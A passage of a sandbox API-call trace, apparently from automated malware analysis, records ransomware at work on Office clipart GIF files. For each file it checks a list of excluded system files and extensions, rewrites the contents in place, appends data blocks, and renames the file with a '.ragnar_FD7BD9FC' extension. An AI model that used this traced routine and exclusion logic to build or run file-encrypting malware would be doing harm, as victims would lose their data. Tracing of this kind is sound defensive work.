nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.422] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.422] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.422] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.422] GetProcessHeap () returned 0x580000 [0093.422] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.422] CloseHandle (hObject=0x104) returned 1 [0093.422] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" [0093.422] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF.ragnar_FD7BD9FC" [0093.422] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02077_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.423] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02082_.GIF", cAlternateFileName="")) returned 1 [0093.423] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.423] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB02082_.GIF" | out: lpString1="WB02082_.GIF") returned="WB02082_.GIF" [0093.423] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF") returned=".GIF" [0093.423] lstrcmpiW (lpString1="WB02082_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.423] lstrcmpiW (lpString1="WB02082_.GIF", lpString2="autorun.inf") returned 1 [0093.423] lstrcmpiW (lpString1="WB02082_.GIF", lpString2="boot.ini") returned 1 [0093.423] lstrcmpiW (lpString1="WB02082_.GIF", lpString2="bootfont.bin") returned 1 [0093.423] lstrcmpiW (lpString1="WB02082_.GIF", lpString2="bootsect.bak") returned 1 [0093.423] lstrcmpiW (lpString1="WB02082_.GIF", lpString2="bootmgr") returned 1 [0093.423] lstrcmpiW (lpString1="WB02082_.GIF", lpString2="bootmgr.efi") returned 1 [0093.423] lstrcmpiW (lpString1="WB02082_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.423] lstrcmpiW (lpString1="WB02082_.GIF", lpString2="desktop.ini") returned 1 [0093.423] lstrcmpiW (lpString1="WB02082_.GIF", lpString2="iconcache.db") returned 1 [0093.423] lstrcmpiW (lpString1="WB02082_.GIF", lpString2="ntldr") returned 1 [0093.423] lstrcmpiW (lpString1="WB02082_.GIF", lpString2="ntuser.dat") returned 1 [0093.423] lstrcmpiW (lpString1="WB02082_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.423] lstrcmpiW (lpString1="WB02082_.GIF", lpString2="ntuser.ini") returned 1 [0093.423] lstrcmpiW (lpString1="WB02082_.GIF", lpString2="thumbs.db") returned 1 [0093.423] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.424] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.424] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.424] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.424] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.424] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.424] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.424] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif")) returned 0x20 [0093.424] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.424] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2454) returned 1 [0093.424] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x98d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.424] GetProcessHeap () returned 0x580000 [0093.424] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.424] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.426] VirtualAlloc (lpAddress=0x0, dwSize=0x996, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.426] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.426] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.426] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x996, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x996, lpOverlapped=0x0) returned 1 [0093.426] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.426] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x996, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.426] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x996, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x996, lpOverlapped=0x0) returned 1 [0093.427] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x996, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.427] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.427] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x996, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.427] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.427] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.427] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.427] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.427] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.427] GetProcessHeap () returned 0x580000 [0093.427] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.427] CloseHandle (hObject=0x104) returned 1 [0093.427] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" [0093.427] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF.ragnar_FD7BD9FC" [0093.427] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02082_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.428] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02085_.GIF", cAlternateFileName="")) returned 1 [0093.428] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.428] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB02085_.GIF" | out: lpString1="WB02085_.GIF") returned="WB02085_.GIF" [0093.428] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF") returned=".GIF" [0093.428] lstrcmpiW (lpString1="WB02085_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.428] lstrcmpiW (lpString1="WB02085_.GIF", lpString2="autorun.inf") returned 1 [0093.428] lstrcmpiW (lpString1="WB02085_.GIF", lpString2="boot.ini") returned 1 [0093.428] lstrcmpiW (lpString1="WB02085_.GIF", lpString2="bootfont.bin") returned 1 [0093.428] lstrcmpiW (lpString1="WB02085_.GIF", lpString2="bootsect.bak") returned 1 [0093.428] lstrcmpiW (lpString1="WB02085_.GIF", lpString2="bootmgr") returned 1 [0093.428] lstrcmpiW (lpString1="WB02085_.GIF", lpString2="bootmgr.efi") returned 1 [0093.428] lstrcmpiW (lpString1="WB02085_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.428] lstrcmpiW (lpString1="WB02085_.GIF", lpString2="desktop.ini") returned 1 [0093.428] lstrcmpiW (lpString1="WB02085_.GIF", lpString2="iconcache.db") returned 1 [0093.428] lstrcmpiW (lpString1="WB02085_.GIF", lpString2="ntldr") returned 1 [0093.428] lstrcmpiW (lpString1="WB02085_.GIF", lpString2="ntuser.dat") returned 1 [0093.429] lstrcmpiW (lpString1="WB02085_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.429] lstrcmpiW (lpString1="WB02085_.GIF", lpString2="ntuser.ini") returned 1 [0093.429] lstrcmpiW (lpString1="WB02085_.GIF", lpString2="thumbs.db") returned 1 [0093.429] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.429] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.429] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.429] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.429] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.429] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.429] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.429] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif")) returned 0x20 [0093.429] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.429] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=2316) returned 1 [0093.429] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x903, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.429] GetProcessHeap () returned 0x580000 [0093.430] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.430] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.431] VirtualAlloc (lpAddress=0x0, dwSize=0x90c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.431] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.431] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.431] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x90c, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x90c, lpOverlapped=0x0) returned 1 [0093.431] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.431] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x90c, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.431] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x90c, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x90c, lpOverlapped=0x0) returned 1 [0093.432] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x90c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.432] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.432] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x90c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.432] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.432] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.432] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.432] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x1ea490*, lpNumberOfBytesWritten=0x1ea48c*=0x9, lpOverlapped=0x0) returned 1 [0093.432] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.432] GetProcessHeap () returned 0x580000 [0093.432] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0093.432] CloseHandle (hObject=0x104) returned 1 [0093.432] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" [0093.432] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF.ragnar_FD7BD9FC" [0093.432] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02085_.gif.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0093.433] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x581, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02097_.GIF", cAlternateFileName="")) returned 1 [0093.433] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x47 [0093.433] lstrcpyW (in: lpString1=0x1eab70, lpString2="WB02097_.GIF" | out: lpString1="WB02097_.GIF") returned="WB02097_.GIF" [0093.433] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF") returned=".GIF" [0093.433] lstrcmpiW (lpString1="WB02097_.GIF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0093.433] lstrcmpiW (lpString1="WB02097_.GIF", lpString2="autorun.inf") returned 1 [0093.433] lstrcmpiW (lpString1="WB02097_.GIF", lpString2="boot.ini") returned 1 [0093.433] lstrcmpiW (lpString1="WB02097_.GIF", lpString2="bootfont.bin") returned 1 [0093.433] lstrcmpiW (lpString1="WB02097_.GIF", lpString2="bootsect.bak") returned 1 [0093.433] lstrcmpiW (lpString1="WB02097_.GIF", lpString2="bootmgr") returned 1 [0093.433] lstrcmpiW (lpString1="WB02097_.GIF", lpString2="bootmgr.efi") returned 1 [0093.433] lstrcmpiW (lpString1="WB02097_.GIF", lpString2="bootmgfw.efi") returned 1 [0093.433] lstrcmpiW (lpString1="WB02097_.GIF", lpString2="desktop.ini") returned 1 [0093.433] lstrcmpiW (lpString1="WB02097_.GIF", lpString2="iconcache.db") returned 1 [0093.433] lstrcmpiW (lpString1="WB02097_.GIF", lpString2="ntldr") returned 1 [0093.434] lstrcmpiW (lpString1="WB02097_.GIF", lpString2="ntuser.dat") returned 1 [0093.434] lstrcmpiW (lpString1="WB02097_.GIF", lpString2="ntuser.dat.log") returned 1 [0093.434] lstrcmpiW (lpString1="WB02097_.GIF", lpString2="ntuser.ini") returned 1 [0093.434] lstrcmpiW (lpString1="WB02097_.GIF", lpString2="thumbs.db") returned 1 [0093.434] lstrcmpiW (lpString1=".GIF", lpString2=".db") returned 1 [0093.434] lstrcmpiW (lpString1=".GIF", lpString2=".sys") returned -1 [0093.434] lstrcmpiW (lpString1=".GIF", lpString2=".dll") returned 1 [0093.434] lstrcmpiW (lpString1=".GIF", lpString2=".lnk") returned -1 [0093.434] lstrcmpiW (lpString1=".GIF", lpString2=".msi") returned -1 [0093.434] lstrcmpiW (lpString1=".GIF", lpString2=".drv") returned 1 [0093.434] lstrcmpiW (lpString1=".GIF", lpString2=".exe") returned 1 [0093.434] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif")) returned 0x20 [0093.434] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02097_.gif"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0093.434] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1ea4a4 | out: lpFileSize=0x1ea4a4*=1409) returned 1 [0093.434] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x578, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.434] GetProcessHeap () returned 0x580000 [0093.434] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0093.435] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1ea468, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1ea468*=0x9, lpOverlapped=0x0) returned 1 [0093.436] VirtualAlloc (lpAddress=0x0, dwSize=0x581, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0093.436] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.436] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea47c | out: lpNewFilePointer=0x0) returned 1 [0093.436] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x581, lpNumberOfBytesRead=0x1ea45c, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1ea45c*=0x581, lpOverlapped=0x0) returned 1 [0093.436] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1ea460 | out: lpNewFilePointer=0x0) returned 1 [0093.436] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x581, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.437] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x581, lpNumberOfBytesWritten=0x1ea458, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1ea458*=0x581, lpOverlapped=0x0) returned 1 [0093.437] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x581, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0093.437] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0093.437] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x581, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.437] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0093.437] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.437] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1ea48c, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1ea48c*=0x100, lpOverlapped=0x0) returned 1 [0093.437] WriteFile (in: hFile=0x104, lpBuffer=0x1ea490*, nNumberOfBytesToWrite=0x9, 